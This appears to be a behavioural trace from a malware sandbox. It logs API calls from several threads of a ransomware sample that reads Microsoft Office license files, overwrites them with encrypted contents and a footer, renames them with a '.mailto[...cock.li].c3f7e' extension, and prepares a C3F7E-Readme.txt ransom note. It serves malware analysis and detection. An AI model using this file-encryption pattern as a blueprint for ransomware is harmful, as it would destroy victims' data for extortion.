	[0086.067] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x291bfe64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d88ff0
	[0086.067] NtSetInformationFile (FileHandle=0x18b8, IoStatusBlock=0x291bfe5c, FileInformation=0x2d88ff0, Length=0x110, FileInformationClass=0xa) returned 0x0
	[0086.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0086.071] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500b838) returned 1
	[0086.071] NtQueryInformationFile (in: FileHandle=0x18b8, IoStatusBlock=0x291bfe70, FileInformation=0x291bfe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x291bfe70, FileInformation=0x291bfe48) returned 0x0
	[0086.072] NtSetInformationFile (FileHandle=0x18b8, IoStatusBlock=0x291bfe70, FileInformation=0x291bfe48, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.073] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d2b8) returned 1
	[0086.073] FlushFileBuffers (hFile=0x18b8) returned 1
	[0093.090] CloseHandle (hObject=0x18b8) returned 1
	[0093.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f238
	[0093.090] wcscpy (in: _Dest=0x476f238, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.090] wcscat (in: _Dest=0x476f238, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1175
	os_tid = 0x1ed0

	[0086.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220
	[0086.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18bc
	[0086.075] GetFileSizeEx (in: hFile=0x18bc, lpFileSize=0x2923fa64 | out: lpFileSize=0x2923fa64*=3103) returned 1
	[0086.075] SetFilePointerEx (in: hFile=0x18bc, liDistanceToMove=0xc1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.075] ReadFile (in: hFile=0x18bc, lpBuffer=0x2923f9e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2923f9e4, lpOverlapped=0x0 | out: lpBuffer=0x2923f9e8*, lpNumberOfBytesRead=0x2923f9e4*=0x4, lpOverlapped=0x0) returned 1
	[0086.076] SetFilePointerEx (in: hFile=0x18bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.076] NtQuerySystemTime (in: CurrentTime=0x2923f9c4 | out: CurrentTime=0x2923f9c4*=132251868128208349) returned 0x0
	[0086.076] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xe5cb1fcc
	[0086.076] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x6699782d
	[0086.076] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x9b883557
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xcc418648
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xd271d86b
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x4ef3300
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xd8564f63
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xe17c717c
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xae2abaaa
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x75638e83
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x43935255
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x7f2adab
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x873296ad
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xbc0940dc
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x3cf989ee
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x5d4be89e
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x1066f324
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x3aba98c4
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x2f56076d
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x10d64207
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xa86fd65a
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x3048d730
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xaa38f0be
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x2f4adb5
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x53e2f9b7
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x2625c957
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x7c965b04
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xa23797c3
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x574c575f
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x60674821
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0xc09b9c25
	[0086.077] RtlRandom (in: Seed=0x2923f9d0 | out: Seed=0x2923f9d0) returned 0x5e6b85e0
	[0086.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.088] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.088] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.088] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.088] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.088] ReadFile (in: hFile=0x18bc, lpBuffer=0x48a2060, nNumberOfBytesToRead=0xc1f, lpNumberOfBytesRead=0x2923f9c0, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x2923f9c0*=0xc1f, lpOverlapped=0x0) returned 1
	[0086.089] SetFilePointerEx (in: hFile=0x18bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.089] WriteFile (in: hFile=0x18bc, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0xc1f, lpNumberOfBytesWritten=0x2923f9bc, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x2923f9bc*=0xc1f, lpOverlapped=0x0) returned 1
	[0086.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4774c10
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4774850
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x2d62e78
	[0086.091] SetFilePointerEx (in: hFile=0x18bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.091] WriteFile (in: hFile=0x18bc, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x2923fa24, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2923fa24*=0x127, lpOverlapped=0x0) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774850) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774c10) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0086.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebe88
	[0086.093] wcscpy (in: _Dest=0x47ebe88, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms"
	[0086.093] wcscat (in: _Dest=0x47ebe88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.093] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2923f9dc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0086.093] NtSetInformationFile (FileHandle=0x18bc, IoStatusBlock=0x2923f9d4, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0086.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751f78) returned 1
	[0086.095] NtQueryInformationFile (in: FileHandle=0x18bc, IoStatusBlock=0x2923f9e8, FileInformation=0x2923f9c0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2923f9e8, FileInformation=0x2923f9c0) returned 0x0
	[0086.095] NtSetInformationFile (FileHandle=0x18bc, IoStatusBlock=0x2923f9e8, FileInformation=0x2923f9c0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.096] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebe88) returned 1
	[0086.096] FlushFileBuffers (hFile=0x18bc) returned 1
	[0093.090] CloseHandle (hObject=0x18bc) returned 1
	[0093.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f478
	[0093.091] wcscpy (in: _Dest=0x476f478, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.091] wcscat (in: _Dest=0x476f478, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1176
	os_tid = 0x1ed4

	[0086.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220
	[0086.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18c0
	[0086.098] GetFileSizeEx (in: hFile=0x18c0, lpFileSize=0x292bfb10 | out: lpFileSize=0x292bfb10*=3380) returned 1
	[0086.098] SetFilePointerEx (in: hFile=0x18c0, liDistanceToMove=0xd30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.098] ReadFile (in: hFile=0x18c0, lpBuffer=0x292bfa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x292bfa90, lpOverlapped=0x0 | out: lpBuffer=0x292bfa94*, lpNumberOfBytesRead=0x292bfa90*=0x4, lpOverlapped=0x0) returned 1
	[0086.101] SetFilePointerEx (in: hFile=0x18c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.101] NtQuerySystemTime (in: CurrentTime=0x292bfa70 | out: CurrentTime=0x292bfa70*=132251868128443260) returned 0x0
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x6e475d9d
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xe1d5a3e5
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xce89c844
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x78c0eda6
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x92df043d
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xdd76a6d
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x4a0c7b2b
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x1bcf6d4e
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xa833407a
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x83b9766d
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xcc38474f
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xafff51d8
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x47c7a36
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xa522a161
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x33ba74e
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x342a1b91
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x1833980a
	[0086.101] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x572a2e27
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xf4b69ebd
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x45769883
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x943dbbf
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x623caf93
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xb8b82e5d
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xda70bfee
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xb43b0f51
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x98816407
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x397b86f8
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0x3a04b2bf
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xce7278a1
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xfb03eb49
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xd245ddc6
	[0086.102] RtlRandom (in: Seed=0x292bfa7c | out: Seed=0x292bfa7c) returned 0xe91c27ae
	[0086.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.113] ReadFile (in: hFile=0x18c0, lpBuffer=0x48a2060, nNumberOfBytesToRead=0xd34, lpNumberOfBytesRead=0x292bfa6c, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x292bfa6c*=0xd34, lpOverlapped=0x0) returned 1
	[0086.113] SetFilePointerEx (in: hFile=0x18c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.113] WriteFile (in: hFile=0x18c0, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0xd34, lpNumberOfBytesWritten=0x292bfa68, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x292bfa68*=0xd34, lpOverlapped=0x0) returned 1
	[0086.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4774c10
	[0086.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.115] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x47748a0
	[0086.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0086.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x2d62e78
	[0086.116] SetFilePointerEx (in: hFile=0x18c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.116] WriteFile (in: hFile=0x18c0, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x292bfad0, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x292bfad0*=0x127, lpOverlapped=0x0) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47748a0) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774c10) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0086.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebe88
	[0086.117] wcscpy (in: _Dest=0x47ebe88, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms"
